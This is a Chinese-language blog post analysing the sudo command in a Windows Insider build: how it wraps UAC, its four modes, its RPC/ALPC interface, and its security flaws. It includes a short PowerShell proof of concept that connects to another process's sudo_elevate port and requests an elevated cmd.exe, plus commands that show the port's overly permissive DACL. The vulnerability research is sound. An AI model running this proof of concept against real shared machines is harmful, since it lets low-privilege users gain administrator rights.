Windows Sudo 命令实现机制与安全风险分析

本文深入分析了Windows Insider Preview build 26052中新增的sudo命令的实现机制,揭示其基于UAC的权限提升原理、RPC通信架构及存在的安全漏洞,包括任意用户可通过ALPC端口执行特权命令的风险。

Windows Sudo 命令快速解析

背景

Windows Insider Preview build 26052 引入了 sudo 命令。本文对其功能实现机制进行初步分析,并指出当前实现仍处于早期阶段。官方公告可在此查看

使用示例:

1
C:\> sudo powershell.exe

技术实现

Windows 安全模型与 UAC 依赖

Windows 不存在 SUID 二进制文件等效机制。提升进程权限的唯一方式是通过现有高权限进程启动,或用户自身具备 SeImpersonatePrivilege 等权限并持有高权限用户的访问令牌。自 Vista 起,UAC 是标准用户运行特权代码的主要途径。sudo 底层通过 ShellExecute 的 runas 动词生成进程,实质是 UAC 的封装。

运行模式分析

系统设置中可配置四种模式(需重启生效):

  1. 禁用模式(值 0):注册表键 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SudoEnabled 值为 0。
  2. 新窗口模式(值 1):通过 ShellExecute 调用 runas,触发标准 UAC 对话框。等效于 PowerShell 命令:
    1
    
    Start-Process -Verb runas powershell.exe
    
  3. 输入禁用模式(值 2)与行内模式(值 3):共享标准句柄附加到当前控制台。底层通过提升的 sudo 副本执行命令,例如:
    1
    
    sudo elevate -p 1234 powershell.exe
    
    • 输入禁用模式:仅允许输出文本,禁止交互。
    • 行内模式:允许在同一控制台会话中运行特权命令,存在恶意代码注入击键控制特权进程的风险。

RPC 通信机制

行内模式依赖 RPC 通道绕过 UAC 限制(如无法附加特权控制台进程、未传递当前目录和环境变量)。RPC 服务器接口通过 ncalrpc 注册,端口命名格式为 sudo_elevate_PID(PID 为 -p 参数值)。

接口定义(通过 NtObjectManager 提取):

1
2
3
4
5
6
7
[uuid(F691B703-F681-47DC-AFCD-034B2FAAB911), version(1.0)]
interface intf_f691b703_f681_47dc_afcd_034b2faab911 {
    int server_PrepareFileHandle([in] handle_t _hProcHandle, [in] int p0, [in, system_handle(sh_file)] HANDLE p1);
    int server_PreparePipeHandle([in] handle_t _hProcHandle, [in] int p0, [in, system_handle(sh_pipe)] HANDLE p1);
    int server_DoElevationRequest([in] handle_t _hProcHandle, [in, system_handle(sh_process)] HANDLE p0, [in] int p1, [in, string] char* p2, [in, size_is(p4)] byte* p3[], [in] int p4, [in, string] char* p5, [in] int p6, [in] int p7, [in, size_is(p9)] byte* p8[], [in] int p9);
    void server_Shutdown([in] handle_t _hProcHandle);
}

关键函数 server_DoElevationRequest 参数:

  • HANDLE p0:调用进程句柄。
  • int p1:进程类型(2=输入禁用,3=行内)。
  • char* p2:ANSI 格式命令行。
  • char* p5:当前目录。
  • byte* p8:环境块指针。

安全漏洞

  1. 无调用者校验:任何进程均可连接至运行中的 RPC 服务器(通过枚举 \RPC Control 下的 ALPC 端口),例如:
    1
    2
    3
    
    $c = Get-RpcClient $rpc
    Connect-RpcClient $c -EndpointPath sudo_elevate_4652
    $c.server_DoElevationRequest((Get-NtProcess -ProcessId $pid), 3, "cmd.exe", @(), 0, "C:\", 1, 0, @(), 0)
    
  2. ALPC 端口权限配置错误:端口 DACL 包含 Everyone 组,甚至允许受限令牌(如 Chromium GPU 进程)访问:
    1
    2
    3
    
    $as = Get-NtAlpcServer
    $sudo = $as | ? Name -Match sudo
    Format-NtSecurityDescriptor $sudo -Summary
    
    输出显示:
    1
    2
    3
    
    Everyone: (Allowed)(None)(Connect|Delete|ReadControl)
    NT AUTHORITY\RESTRICTED: (Allowed)(None)(Connect|Delete|ReadControl)
    BUILTIN\Administrators: (Allowed)(None)(Full Access)
    
  3. 跨用户权限提升风险:在终端服务器等共享环境中,低权限用户可利用此漏洞获取管理员权限。

总结

  • sudo 实现依赖 UAC,未引入高权限服务中介。
  • 缺乏策略支持(如命令白名单、密码验证)。
  • RPC 服务器存在严重权限配置缺陷,导致本地权限提升风险。
  • 尽管大部分代码使用 Rust 编写,逻辑缺陷仍暴露了安全设计不足。

本文基于技术分析,强调微软需在正式版中修复这些安全问题。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计